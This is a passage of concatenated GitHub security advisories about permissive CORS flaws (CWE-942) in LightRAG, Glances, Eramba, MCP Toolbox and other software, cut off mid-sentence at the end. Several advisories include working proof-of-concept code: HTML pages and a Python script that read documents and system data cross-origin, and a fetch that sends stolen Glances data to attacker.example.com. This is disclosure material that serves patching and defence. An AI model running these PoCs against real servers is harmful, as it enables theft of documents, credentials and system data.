CWE-942

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "lightrag-hku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:45:25Z",
    "nvd_published_at": "2026-07-15T15:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette\u0027s CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.\n\n### Details\n\n```python\n# lightrag/api/config.py:639\nargs.cors_origins = get_env_value(\"CORS_ORIGINS\", \"*\")  # default wildcard\n\n# lightrag/api/lightrag_server.py:1379\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],       # any origin\n    allow_credentials=True,   # credentials \u2014 PROBLEM with wildcard\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n# Starlette CORSMiddleware (confirmed in source):\n# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials\n# = not True or True = True  \u2192 echoes the requesting origin back, not \"*\"\n# Result: every origin receives Access-Control-Allow-Credentials: true\n```\n\n### PoC\n\nHost on any origin. Open in browser where user is logged in to LightRAG:\n\n```html\n\u003c!-- attacker.com/steal.html --\u003e\n\u003cscript\u003e\nconst TARGET = \"http://lightrag-server:9621\";\n(async () =\u003e {\n  // Get victim token (or re-use existing session)\n  const r1 = await fetch(`${TARGET}/login`, {\n    method: \"POST\", credentials: \"include\",\n    headers: {\"Content-Type\": \"application/x-www-form-urlencoded\"},\n    body: \"username=victim\u0026password=known_pass\"\n  });\n  const { access_token } = await r1.json();\n\n  // Exfiltrate all documents\n  const docs = await (await fetch(`${TARGET}/documents`, {\n    credentials: \"include\",\n    headers: { Authorization: `Bearer ${access_token}` }\n  })).json();\n  console.log(\"STOLEN DOCS:\", docs);\n})();\n\u003c/script\u003e\n```\n\n### Impact\nPermissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.",
  "id": "GHSA-6x6h-qqr7-855w",
  "modified": "2026-07-20T21:45:25Z",
  "published": "2026-07-20T21:45:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-6x6h-qqr7-855w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61736"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/pull/3317"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/09567a4c983f580050db63569dd477122c058c3d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/df68d75f9dc29dd340ffb6794b48f48c4fdc9a2d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/ebba6548639c0f2e8919100eff76b401f1222252"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/LightRAG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-25234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-17T15:15:54Z",
    "severity": "HIGH"
  },
  "details": "Omnissa UAG contains a Cross-Origin Resource Sharing (CORS) bypass vulnerability.\u00a0A malicious actor with network access to UAG may be able to bypass administrator-configured CORS restrictions to gain access to sensitive networks.",
  "id": "GHSA-7hqv-m3mr-cv2v",
  "modified": "2025-04-21T21:30:29Z",
  "published": "2025-04-17T15:32:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25234"
    },
    {
      "type": "WEB",
      "url": "https://static.omnissa.com/sites/default/files/OMSA-2025-0002.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.omnissa.com/omnissa-security-response"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-55462"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-13T15:15:58Z",
    "severity": "MODERATE"
  },
  "details": "A CORS misconfiguration in Eramba Community and Enterprise Editions v3.26.0 allows an attacker-controlled Origin header to be reflected in the Access-Control-Allow-Origin response along with Access-Control-Allow-Credentials: true. This permits malicious third-party websites to perform authenticated cross-origin requests against the Eramba API, including endpoints like /system-api/login and /system-api/user/me. The response includes sensitive user session data (ID, name, email, access groups), which is accessible to the attacker\u0027s JavaScript. This flaw enables full session hijack and data exfiltration without user interaction. Eramba versions 3.23.3 and earlier were tested and appear unaffected. The vulnerability is present in default installations, requiring no custom configuration.",
  "id": "GHSA-7mf2-39xh-3vq6",
  "modified": "2026-01-15T00:31:38Z",
  "published": "2026-01-13T15:37:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55462"
    },
    {
      "type": "WEB",
      "url": "https://discussions.eramba.org/t/release-3-28-0/7860"
    },
    {
      "type": "WEB",
      "url": "http://eramba.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T17:00:54Z",
    "nvd_published_at": "2026-04-02T15:16:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker\u0027s JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).\n\n### Details\n\nFile: glances/server.py, class GlancesXMLRPCHandler, line 41\n\n```python\ndef send_my_headers(self):\n    self.send_header(\"Access-Control-Allow-Origin\", \"*\")\n```\n\nThis header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.\n\nThe REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python\u0027s xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.\n\n### PoC\n\nPrerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.\n\nStep 1. Start the Glances XML-RPC server on the target machine:\n\n```\nglances -s -p 61209\n```\n\nStep 2. From any machine, run the Python PoC to confirm the issue server-side:\n\n```\npython3 poc_test.py TARGET_IP 61209\n```\n\nStep 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click \"Steal System Data\". The page will display the full system monitoring data retrieved cross-origin.\n\nStep 4. Alternatively, paste this into any browser console while on any website:\n\n```javascript\nfetch(\"http://TARGET_IP:61209/RPC2\", {\n    method: \"POST\",\n    headers: {\"Content-Type\": \"text/plain\"},\n    body: \u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n}).then(r =\u003e r.text()).then(d =\u003e {\n    let m = d.match(/\u003cstring\u003e([\\s\\S]*?)\u003c\\/string\u003e/);\n    let data = JSON.parse(m[1].replace(/\u0026lt;/g,\"\u003c\").replace(/\u0026gt;/g,\"\u003e\").replace(/\u0026amp;/g,\"\u0026\"));\n    console.log(\"Hostname:\", data.system.hostname);\n    console.log(\"Processes:\", data.processlist.length);\n    console.log(\"First process cmdline:\", data.processlist[0].cmdline);\n});\n```\n\nVerified output from testing on Glances 4.5.3_dev01 (current main branch):\n\n```\n[+] HTTP Status: 200\n[+] Access-Control-Allow-Origin: *\n[+] Successfully retrieved system data cross-origin.\nHostname:     claude\nOS:           Linux 6.8.0-1024-gcp\nProcess count: 125\nTop processes include full command lines with arguments\nTotal data categories exposed: 35\n```\n\n### Impact\n\nAny user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.\n\npoc_test.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration\n\nThis script simulates the browser-based attack by sending a POST request with\nContent-Type: text/plain (CORS simple request) to the Glances XML-RPC server.\n\nThe server responds with Access-Control-Allow-Origin: * which allows any\nwebpage to read the full response containing system monitoring data.\n\nUsage: python3 poc_test.py [target_host] [target_port]\nDefault: python3 poc_test.py 127.0.0.1 61209\n\"\"\"\n\nimport http.client\nimport json\nimport sys\nimport xmlrpc.client\n\n\ndef main():\n    host = sys.argv[1] if len(sys.argv) \u003e 1 else \"127.0.0.1\"\n    port = int(sys.argv[2]) if len(sys.argv) \u003e 2 else 61209\n\n    print(f\"[*] Target: {host}:{port}\")\n    print(f\"[*] Simulating cross-origin request (Content-Type: text/plain)\")\n    print()\n\n    conn = http.client.HTTPConnection(host, port, timeout=10)\n\n    # XML-RPC payload sent as text/plain to avoid CORS preflight\n    payload = \u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n    headers = {\n        \"Content-Type\": \"text/plain\",\n        \"Origin\": \"http://evil-attacker.com\",\n    }\n\n    try:\n        conn.request(\"POST\", \"/RPC2\", body=payload, headers=headers)\n        response = conn.getresponse()\n    except Exception as e:\n        print(f\"[-] Connection failed: {e}\")\n        sys.exit(1)\n\n    print(f\"[+] HTTP Status: {response.status}\")\n    cors = response.getheader(\"Access-Control-Allow-Origin\")\n    print(f\"[+] Access-Control-Allow-Origin: {cors}\")\n    print()\n\n    if cors != \"*\":\n        print(\"[-] CORS header is not wildcard. Attack would not work.\")\n        sys.exit(1)\n\n    data = response.read()\n    result = xmlrpc.client.loads(data)[0][0]\n    parsed = json.loads(result)\n\n    print(\"[+] Successfully retrieved system data cross-origin.\")\n    print()\n    print(\"=== Stolen System Information ===\")\n    print()\n\n    system = parsed.get(\"system\", {})\n    print(f\"Hostname:     {system.get(\u0027hostname\u0027, \u0027N/A\u0027)}\")\n    print(f\"OS:           {system.get(\u0027os_name\u0027, \u0027N/A\u0027)} {system.get(\u0027os_version\u0027, \u0027\u0027)}\")\n    print(f\"Platform:     {system.get(\u0027platform\u0027, \u0027N/A\u0027)}\")\n    print(f\"Distribution: {system.get(\u0027linux_distro\u0027, \u0027N/A\u0027)}\")\n    print()\n\n    cpu = parsed.get(\"cpu\", {})\n    print(f\"CPU user:     {cpu.get(\u0027user\u0027, \u0027N/A\u0027)}%\")\n    print(f\"CPU system:   {cpu.get(\u0027system\u0027, \u0027N/A\u0027)}%\")\n    print(f\"CPU cores:    {cpu.get(\u0027cpucore\u0027, \u0027N/A\u0027)}\")\n    print()\n\n    mem = parsed.get(\"mem\", {})\n    total_mb = round((mem.get(\"total\", 0)) / 1024 / 1024)\n    used_mb = round((mem.get(\"used\", 0)) / 1024 / 1024)\n    print(f\"Memory:       {used_mb}MB / {total_mb}MB ({mem.get(\u0027percent\u0027, \u0027N/A\u0027)}%)\")\n    print()\n\n    ip_info = parsed.get(\"ip\", {})\n    print(f\"IP Address:   {ip_info.get(\u0027address\u0027, \u0027N/A\u0027)}\")\n    print(f\"Subnet Mask:  {ip_info.get(\u0027mask\u0027, \u0027N/A\u0027)}\")\n    print()\n\n    procs = parsed.get(\"processlist\", [])\n    print(f\"Process count: {len(procs)}\")\n    print()\n    print(\"Top 5 processes by CPU (with command lines):\")\n    for p in sorted(procs, key=lambda x: x.get(\"cpu_percent\", 0), reverse=True)[:5]:\n        cmdline = p.get(\"cmdline\", [])\n        cmd = \" \".join(cmdline) if isinstance(cmdline, list) else str(cmdline)\n        print(f\"  PID {p.get(\u0027pid\u0027):\u003e6} | {p.get(\u0027name\u0027, \u0027N/A\u0027):\u003e20} | CPU {p.get(\u0027cpu_percent\u0027, 0):\u003e5.1f}% | {cmd[:100]}\")\n\n    print()\n    print(f\"[+] Total data categories exposed: {len(parsed.keys())}\")\n    print(f\"[+] Categories: {\u0027, \u0027.join(sorted(parsed.keys()))}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\npoc_cors_xmlrpc.html\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eGlances XML-RPC CORS PoC\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch2\u003eGlances XML-RPC Cross-Origin Data Theft PoC\u003c/h2\u003e\n\u003cp\u003eTarget: \u003cinput id=\"target\" value=\"http://127.0.0.1:61209\" size=\"40\"\u003e\u003c/p\u003e\n\u003cbutton onclick=\"exploit()\"\u003eSteal System Data\u003c/button\u003e\n\u003cpre id=\"output\" style=\"background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;\"\u003e\u003c/pre\u003e\n\u003cscript\u003e\nasync function exploit() {\n    const target = document.getElementById(\"target\").value;\n    const out = document.getElementById(\"output\");\n    out.textContent = \"[*] Sending cross-origin XML-RPC request to \" + target + \"/RPC2\\n\";\n    out.textContent += \"[*] Content-Type: text/plain (CORS simple request, no preflight)\\n\\n\";\n\n    try {\n        const resp = await fetch(target + \"/RPC2\", {\n            method: \"POST\",\n            headers: {\"Content-Type\": \"text/plain\"},\n            body: \u0027\u003c?xml version=\"1.0\"?\u003e\u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n        });\n\n        out.textContent += \"[+] Response status: \" + resp.status + \"\\n\";\n        out.textContent += \"[+] CORS header: \" + resp.headers.get(\"Access-Control-Allow-Origin\") + \"\\n\\n\";\n\n        const xml = await resp.text();\n        const match = xml.match(/\u003cstring\u003e([\\s\\S]*?)\u003c\\/string\u003e/);\n        if (match) {\n            const data = JSON.parse(match[1].replace(/\u0026lt;/g,\"\u003c\").replace(/\u0026gt;/g,\"\u003e\").replace(/\u0026amp;/g,\"\u0026\"));\n            out.textContent += \"[+] === STOLEN SYSTEM DATA ===\\n\\n\";\n            out.textContent += \"Hostname: \" + (data.system?.hostname || \"N/A\") + \"\\n\";\n            out.textContent += \"OS: \" + (data.system?.os_name || \"N/A\") + \" \" + (data.system?.os_version || \"\") + \"\\n\";\n            out.textContent += \"CPU cores: \" + (data.cpu?.cpucore || \"N/A\") + \"\\n\";\n            out.textContent += \"CPU usage: \" + (data.cpu?.user || \"N/A\") + \"% user\\n\";\n            out.textContent += \"Memory: \" + Math.round((data.mem?.used||0)/1024/1024) + \"MB / \" + Math.round((data.mem?.total||0)/1024/1024) + \"MB\\n\";\n            out.textContent += \"Processes: \" + (data.processlist?.length || 0) + \"\\n\\n\";\n\n            if (data.processlist?.length \u003e 0) {\n                out.textContent += \"[+] Top 10 processes (with full command lines):\\n\";\n                data.processlist.slice(0, 10).forEach(p =\u003e {\n                    const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(\" \") : (p.cmdline || \"\");\n                    out.textContent += \"  PID \" + p.pid + \" | \" + p.name + \" | \" + cmd.substring(0,120) + \"\\n\";\n                });\n            }\n\n            if (data.network?.length \u003e 0) {\n                out.textContent += \"\\n[+] Network interfaces:\\n\";\n                data.network.forEach(n =\u003e {\n                    out.textContent += \"  \" + n.interface_name + \" | RX: \" + n.bytes_recv + \" TX: \" + n.bytes_sent + \"\\n\";\n                });\n            }\n\n            if (data.fs?.length \u003e 0) {\n                out.textContent += \"\\n[+] Filesystems:\\n\";\n                data.fs.forEach(f =\u003e {\n                    out.textContent += \"  \" + f.mnt_point + \" | \" + f.device_name + \" | \" + f.percent + \"% used\\n\";\n                });\n            }\n        }\n    } catch(e) {\n        out.textContent += \"[-] Error: \" + e.message + \"\\n\";\n    }\n}\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```",
  "id": "GHSA-7p93-6934-f4q7",
  "modified": "2026-04-27T15:23:43Z",
  "published": "2026-03-30T17:00:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-7p93-6934-f4q7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33533"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/dcb39c3f12b2a1eec708c58d22d7a1d62bdf5fa1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/googleapis/mcp-toolbox"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-9739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:54:22Z",
    "nvd_published_at": "2026-05-27T23:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerable to DNS rebinding attacks when using SSE (http://b/499408790). During the beta phase, we implemented `allowed-origins` and `allowed-hosts` flags to align with MCP security guidelines. However, the hardcoded `Access-Control-Allow-Origin: *` header in the SSE initialization handler was inadvertently retained. This vulnerability specifically impacts users connecting via Toolbox using SSE under specification v2024-11-05.",
  "id": "GHSA-7pf3-8xx7-rvhf",
  "modified": "2026-07-01T20:54:22Z",
  "published": "2026-05-28T00:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9739"
    },
    {
      "type": "WEB",
      "url": "https://github.com/googleapis/mcp-toolbox/issues/3053"
    },
    {
      "type": "WEB",
      "url": "https://github.com/googleapis/mcp-toolbox/pull/3054"
    },
    {
      "type": "WEB",
      "url": "https://github.com/googleapis/mcp-toolbox/commit/c4c7bd917e686de68e2be866cfe3872c3439efae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/googleapis/mcp-toolbox"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MCP Toolbox for Databases vulnerable to DNS rebinding attacks"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-2865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79",
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-28T14:15:21Z",
    "severity": "LOW"
  },
  "details": "SaTECH BCU, in its firmware version 2.1.3, could allow XSS attacks and other malicious resources to be stored on the web server. An attacker with some knowledge of the web application could send a malicious request to the victim users. Through this request, the victims would interpret the code (resources) stored on another malicious website owned by the attacker.",
  "id": "GHSA-7v32-cc9h-mhv6",
  "modified": "2025-10-10T18:31:17Z",
  "published": "2025-03-28T15:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2865"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-arteches-satech-bcu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:27:24Z",
    "nvd_published_at": "2026-06-25T19:16:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533.  However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` contains more than one entry.  An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard \u2014 the same exposure that the original CVE described.  A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim\u0027s knowledge.\n\n---\n\n### Details\n\n**Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113\n\n```python\n# server.py  (GlancesXMLRPCServer.__init__)\ncors_origins = self.args.cors_origins   # list from config / CLI\n\n# Line 113 \u2014 the incomplete fix:\nself.cors_origin = cors_origins[0] if len(cors_origins) == 1 else \u0027*\u0027\n#                                                                  ^^^\n# Any allowlist with 2+ entries collapses to the wildcard\n```\n\nThe `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file):\n\n```python\nself.send_header(\u0027Access-Control-Allow-Origin\u0027, self.cors_origin)\n```\n\nThis means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser.  Even if an operator sets:\n\n```ini\n# glances.conf\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\nthe server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`.\n\n**Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Origin sent              | ACAO header returned | Expected     |\n|--------------------------|----------------------|--------------|\n| `http://evil.example.com`| `*`                  | No header    |\n| `https://dashboard.corp` | `*`                  | Reflected    |\n| `https://grafana.corp`   | `*`                  | Reflected    |\n\n---\n\n### PoC\n\n**Special configuration required**\n\nThe multi-origin collapse is only triggered when `cors_origins` contains two or more entries.  Create the following `glances.conf`:\n\n```ini\n# /tmp/glances_multiorigin.conf\n[global]\ncheck_update = false\n\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\n**Step 1 \u2014 Start the XML-RPC server using the config above**\n\n```bash\nglances -s -p 61209 -C /tmp/glances_multiorigin.conf\n```\n\n**Step 2 \u2014 Send a CORS simple request from a foreign origin**\n\n```bash\ncurl -s -D - -X POST \"http://TARGET_HOST:61209/RPC2\" \\\n     -H \"Content-Type: text/plain\" \\\n     -H \"Origin: http://evil.example.com\" \\\n     -d \u0027\u003c?xml version=\"1.0\"?\u003e\n         \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n```\n\n**Expected (secure) response:**\n\n```\nHTTP/1.0 400 Bad Request\n```\n\nor no `Access-Control-Allow-Origin` header.\n\n**Actual response:**\n\n```\nHTTP/1.0 200 OK\nAccess-Control-Allow-Origin: *\n...\n\u003c?xml version=\u00271.0\u0027?\u003e\n\u003cmethodResponse\u003e\n  \u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003carray\u003e\u003cdata\u003e\n    \u003cvalue\u003e\u003cstring\u003ecpu\u003c/string\u003e\u003c/value\u003e\n    \u003cvalue\u003e\u003cstring\u003emem\u003c/string\u003e\u003c/value\u003e\n    ...\n  \u003c/data\u003e\u003c/array\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\n\u003c/methodResponse\u003e\n```\n\n**Step 3 \u2014 Demonstrate the code-level collapse to wildcard**\n\n```python\nimport sys\nsys.path.insert(0, \u0027/path/to/glances\u0027)   # adjust to local clone\nfrom glances.config import Config\n\nc = Config(\u0027/tmp/glances_multiorigin.conf\u0027)\ncors_list = c.get_list_value(\u0027outputs\u0027, \u0027cors_origins\u0027, default=[\u0027*\u0027])\n# Reproduces server.py line 113:\nresult = cors_list[0] if len(cors_list) == 1 else \u0027*\u0027\n\nprint(\u0027cors_origins config :\u0027, cors_list)\nprint(\u0027cors_origin applied :\u0027, result)\nprint(\u0027Is wildcard?        :\u0027, result == \u0027*\u0027)\n# cors_origins config : [\u0027https://dashboard.corp.example.com\u0027, \u0027https://grafana.corp.example.com\u0027]\n# cors_origin applied : *\n# Is wildcard?        : True\n```\n\n**Browser-based exploitation**\n\nOnce the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full.  A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:\n\n```javascript\n// Runs in a page on http://evil.example.com\nconst payload = `\u003c?xml version=\"1.0\"?\u003e\n  \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n\nfetch(\u0027http://GLANCES_HOST:61209/RPC2\u0027, {\n  method: \u0027POST\u0027,\n  headers: { \u0027Content-Type\u0027: \u0027text/plain\u0027 },\n  body: payload,\n})\n.then(r =\u003e r.text())\n.then(data =\u003e {\n  // \u0027data\u0027 contains hostname, OS, full process list, network interfaces, etc.\n  fetch(\u0027https://attacker.example.com/collect?d=\u0027 + btoa(data));\n});\n```\n\nThis works as a CORS \"simple request\" (POST + `text/plain`) \u2014 no CORS preflight is triggered and the `*` wildcard allows the browser to read the response.\n\n---\n\n### Impact\n\n**Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)\n\n**Who is impacted:** Any operator who:\n1. Runs Glances in XML-RPC server mode (`glances -s`), *and*\n2. Has configured two or more `cors_origins` entries in `glances.conf` believing\n   they are restricting browser access.\n\nOperators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read).  The incomplete fix addresses only the narrow case of a single non-wildcard origin.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High \u2014 complete system monitoring data readable by any browser page.\n- **Integrity:** None \u2014 read-only API.\n- **Availability:** None \u2014 no denial-of-service component.\n\n---\n\n### Suggested Fix\n\nImplement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. 